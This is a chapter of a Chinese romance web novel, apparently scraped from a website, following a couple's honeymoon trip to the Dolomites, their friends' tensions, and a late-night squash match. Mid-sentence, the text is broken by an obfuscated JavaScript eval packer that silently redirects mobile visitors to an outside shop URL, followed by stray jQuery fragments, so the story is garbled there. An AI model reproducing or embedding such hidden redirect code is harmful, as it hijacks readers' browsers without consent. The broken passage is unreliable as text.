祁宗言重新安排了蜜月的行程,从欧洲到南美,途经六个起飞点。
出发这天正好是年底最后一天。
祁宗言带着赵文胤,还有一起高山训练的两位发小。苏若婉这边则是许思妍、陆君泽和乔安。
前舱会客区座椅调整为对坐模式,中央桌板在电动系统中缓缓展开,舱内灯光随之变暖。
“十、九、八……”赵文胤端着酒杯看着腕表开始倒数,声音里带着懒洋洋的笑意:“五、四……”
众人一起倒数最后三秒:“三、二、一!”
“新年快乐。”
香槟杯轻碰的脆响瞬间点燃舱内的气氛。
赵文胤顺手把祁宗言标好的路线图摊开在桌面上。
“按言哥的安排,我们第一站是意大利多洛米蒂,下一站是……最后安第斯山脉收官。”他抬眼一笑,“这是为了嫂子,把半个地球当飞行场在用啊。”
几人立刻起哄欢呼。
苏若婉眼睛亮晶晶的,胸口像开了闸的气泡水,兴奋感一个劲往上窜。
“啊啊啊啊。”许思妍一把抱住乔安晃了晃,“经过这半个月,我肯定要出师了。”
乔安被她晃得头晕,笑着揽住怀里这只兴奋到炸毛的小仓鼠,语气无奈:“你赶紧拜个师吧。”
许思妍第一人选肯定是陆君泽,可转念又想到乔安,再说陆君泽也不一定愿意带她这个菜鸟。
她眼珠一转,抬手指向赵文胤:“除了这个妖孽,轮流来。”
“妍妍妹妹。”赵文胤捂着胸口,故作受伤拖长语调:“你太伤我心了。”
笑闹声又此起彼伏炸开。
“开心吗?”祁宗言在苏若婉耳边低声道:“表达一下,别让文胤看出端倪,回头可就都知道了。”
苏若婉半边脸都被他的气息烫麻了,整个人像踩在云上,轻飘飘的。
她脑子一热,转过身,抬手捧住他的脸,踮脚在他唇上重重印了一下。
“谢谢。”
舱内笑闹声戛然而止。
许思妍第一个反应过来,怪叫一声:“哎哟——虐狗呢,有没有爱心呀。”
起哄、哨声和笑声交错,气氛被推到顶点。
空乘匆匆过来确认情况,见无异常又退了回去。
乔安偏头,目光落在陆君泽脸上。
他嘴角挂着浅浅的弧度,看不出情绪。
落地威尼斯机场,正是傍晚。
赵文胤伸个懒腰走下舷梯,“真好,白得几个小时,再跨一次年。”
“自己跨去吧。”许思妍推了他一把,“顺便把我发给你的那四个包带回来。”
赵文胤“啧”了一声:“不知道还以为我欠你半条命。”
苏若婉看着两人斗嘴,弯起眉眼,下意识挽住祁宗言的胳膊。
她已经听见雪山的召唤了,浑然不觉被挽住的那只手臂僵了一瞬。
祁宗言垂眼,视线落在她的手上,那枚粉钻在暮色中闪出细碎的光,像满心的欢喜藏都藏不住。
几人换乘直升机抵达多洛米蒂山脉的私人山地据点。
眼前是木石结构的建筑群,直升机坪的雪已经被提前清理好。
三架直升机依次降落,七八名工作人员已经在安全区就位。
祁宗言将苏若婉扶下机,一行人沿停机坪步道往中央主屋方向走去,工作人员开始搬运行李。
步道尽头是主屋入口,站在厚重木门前的一位白人管家上前一步向祁宗言微微欠身:“Welcomeback,Sir”
苏若婉偏头看了祁宗言一眼,他侧过脸问:“怎么?”
“为什么在这里置业?”
祁宗言语气很淡:“偶尔会来这边飞,落脚方便。”
“哦。”苏若婉又问:“水呢?”
祁宗言抬了抬下巴,示意停机坪方向,“他们等下送过来。”
苏若婉鼓了鼓脸,嘟囔着:“这还差不多。”
这里由八栋独立木屋与一座中央主屋组成,晚餐已经在主屋内准备妥当。
餐后,大家各自回了自己的木屋。
苏若婉跟在祁宗言身侧,小声说:“我想自己住一栋。”
祁宗言瞥了他一眼,继续往前走:“可以,但明天所有人就知道我们分房睡了。”
苏若婉停下脚步瞪着他。
这男人是在威胁她吗?
这明明是他也需要一起配合维护的事情。
祁宗言停步,往回走到她面前压低声音:“我这套里面有个书房,你睡卧室我去那,符合同住不同房。”
苏若婉抿了抿唇,一脸不乐意,但也没有再说什么,绕过他独自往里面走。
乔安睡不着,出门去了主屋的酒廊。
她进门刚解开身上的厚外套,抬眼时发现陆君泽已经坐在吧台边。
昏暗的灯光下,他一手支着额角,一手滑着手机屏幕,冷光映着他温润的轮廓,眉眼却依旧冷清。
乔安站了一会儿才走过去,把外套挂在后方的衣架上,“睡不着吗?”
陆君泽扫了她一眼,“嗯。”
乔安扯了扯嘴角,在他旁边隔着一张椅子坐下。
她伸手拿过吧台上的威士忌,抿了一口。余光瞥见中间那个空位上的杯子,里面还剩小半杯酒。她以为是许思妍的,没多问。
陆君泽收起手机,将手边杯中的余酒喝完站起身。
乔安忽然仰头灌了一口。
陆君泽侧目看了一眼,淡声道:“别喝太多。明天阿婉要是想飞,你起不来她会不放心。”
乔安指尖收紧,“那你呢?”
话一出口,她自己先愣住了,随即垂眸声音低下来:“我是说,祁先生对阿婉很好,你应该也放心了吧。”
“他对阿婉好,是应该的。”陆君泽穿上外套,没有多余情绪:“其他的,不用别人操心。”
乔安呼吸有些乱,声音抬了起来:“你就不能,顾一顾身边的其他人吗?”
陆君泽终于抬眼看向她,目光冷淡没有波澜:“不能。”
他说完,径直走出酒廊。
吧台边的廊道里,赵文胤靠着墙面若有所思。他轻轻转了转指间那支没点的雪茄,无声地笑了。
如果说出发前一晚苏若婉睡得很踏实,是因为祁宗言去了他那座神秘的四合院彻夜未归。
那她现在算是明白了。
只要知道他在同一个楼层,甚至同一个空间里,她就睡不着。
就像此刻。
只要想到他在隔壁的书房,就会忍不住回想那晚的画面,浑身发麻,喉咙发紧。
她在床上翻来覆去。
这到底是怎么回事。
苏若婉气恼地掀开被子下床,拉开房门。
客厅光线昏暗,只剩几盏地脚灯亮着,她推开书房虚掩的门。
祁宗言躺在沙发上盖着一张羊绒毯,手背搭在额间,呼吸很均匀。
苏若婉眯了眯眼。
既然我睡不好,你也别想睡。
她走过去俯下身。
刚伸手,想了想又收回来,直起身子。
抬起脚,又放下。
这么大一只,真踹急了,吃亏的还是自己。
她抱着双臂低头看他。
不得不说这男人是真的好看,剑眉星目都概括不了他身上的气势。
她忽然想起那只伏在草原上的黑豹,心口莫名一紧。
熟悉的雪松气息若有若无地萦绕,苏若婉看得有些失神。
……不会吧。
莫非自己真变成颜狗了?
就因为他长得对胃口,所以自己才会这么反常?
尤其是他每次一靠近,她就忍不住——
祁宗言忽然睁开眼,手从额头上拿下来,目光沉沉地盯着她。
苏若婉倏地回神,也顾不上别的,抬脚就踹。
祁宗言敏捷地扣住她脚踝,失去平衡的她,踉跄了一下,“你放手。”
祁宗言坐起身,手上稍微一用力,整个人就跌进他怀里。
甜香的气息铺天盖地压下来。
苏若婉不管不顾抬手就捶他:“你有病啊!你松开,谁让你抱我的。”
祁宗言呼吸微沉,声音有点沙哑:“又想踹我?”
苏若婉顿了一下,答非所问:“我睡不着。”
“睡不着就来踹我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619984|204658||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”祁宗言低笑一声,语气带着点懒散,“踹完就能睡着?”
苏若婉撑着他胸口,咬着牙说:“你再不松开我,我就回沪城。”
“刚到就回?”祁宗言收紧手臂,将人压进怀里:“苏小姐,这个蜜月行程可是你最期待的。”
苏若婉闻言,忽然安静下来。
也不知道怎么想的,撑着的手就慢慢卸了力,头靠在他颈侧也没动,耳边能听见他的呼吸声,还能感受到他脖子上微微跳动的脉搏。
她身上那件真丝睡裙的领口已经滑落至手臂处,白皙的肩头在昏暗中泛出柔润的光泽。
祁宗言移开视线,手仍扶在她后腰,没有松。
他喉结轻滚,低声道:“运动后,比较好入睡。”
苏若婉瞬间像被踩了尾巴的猫,猛地挣扎起来:“你果然就是流氓!你松开我……”
“别动。”祁宗言呼吸渐重,过了好一会儿才开口:“带你去打壁球。”
房间里一片死寂。
苏若婉攥着他睡衣的指尖又收紧了几分。
丢人。
祁宗言轻轻呼出一口气,拍了拍她后腰,“走吧。”
-
壁球馆在主屋的地下一层,四周封闭,里面灯光明亮。
苏若婉穿着浅蓝色POLO衫,白色短款百褶裙,长卷发松松编成两股麻花辫。
俏丽又轻盈。
祁宗言一身黑色的短袖短裤,毫不掩饰身上带着力量感的精悍线条。
苏若婉忍不住翻了个白眼。
衣服有必要那么贴身吗?
热身局结束,十一比八,苏若婉胜。
祁宗言有些意外,她打得很好。
他目光落在她笔直的小腿上,会跳芭蕾还会打壁球,飞伞也不差。
“看什么呢?”苏若婉把球拍往肩上一搭,歪头看他,“是我太厉害了吗?”
“很厉害。”祁宗言也看着她,眼里带着点笑意,“五局三胜,谁赢谁睡床。”
苏若婉嗤了一声懒得回话,直接发球。
她平时不健身,这些项目也是小时候学过,长大后不喜欢出汗就不怎么碰了。
但运动底子还在。
挥拍后,球贴墙反弹,角度刁钻。
祁宗言侧身,空中截击。
苏若婉像被按下开关一样,满场飞。
场上的节奏瞬间拉开。
祁宗言一边接球,一边还得分神留意她横冲直撞的位置。
毕竟两人体格悬殊,她要是撞上来可就麻烦了。
第三局祁宗言险胜一分,再次来到苏若婉的赛点。
她扯起挂在脖子上的毛巾,擦了擦汗,脸上已经泛了一层薄红。
“祁先生,一般呀。”她弯着眉眼语气里是压不住小得意:“认输也可以的。”
祁宗言勾了下嘴角,“那必须要不一般。”
苏若婉哼笑一声,再次发球。
第四局结束,祁宗言再胜,进入决胜局。
苏若婉绷着脸,眼里的对胜利的渴望已经压不住了。
比分一路咬到十比十。
她的角度越来越刁钻,祁宗言依旧从容,但回球范围越来越大。
苏若婉被迫东奔西跑,前冲、急停,再退。
又一次接球后她判断失误,身体下意识往反方向去,直接撞进祁宗言怀里,额头结结实实磕在他胸口。
祁宗言一惊,立刻扣住她的肩,“没事吧?”
苏若婉头抵在他胸口,声音闷闷的带着点哭腔:“你打不过就撞我,这摆明了是欺负人。”
祁宗言:“……”
他低头看着怀里的人,这一句软得没边的控诉落下他只投降:“我输了,认罚。”
苏若婉这才揉着额头,从他怀里退出来。她抬眼看他,眼里全是小心思,“你沙发也不许睡,睡地板。”
祁宗言笑了,不知为何脑海里忽然浮现飞机上她主动的那一吻。
他往前走了半步,俯身在她唇角轻轻碰了一下。
“不用谢。”
苏若婉僵在原地。
什么不用谢?
他是不是打球打傻了。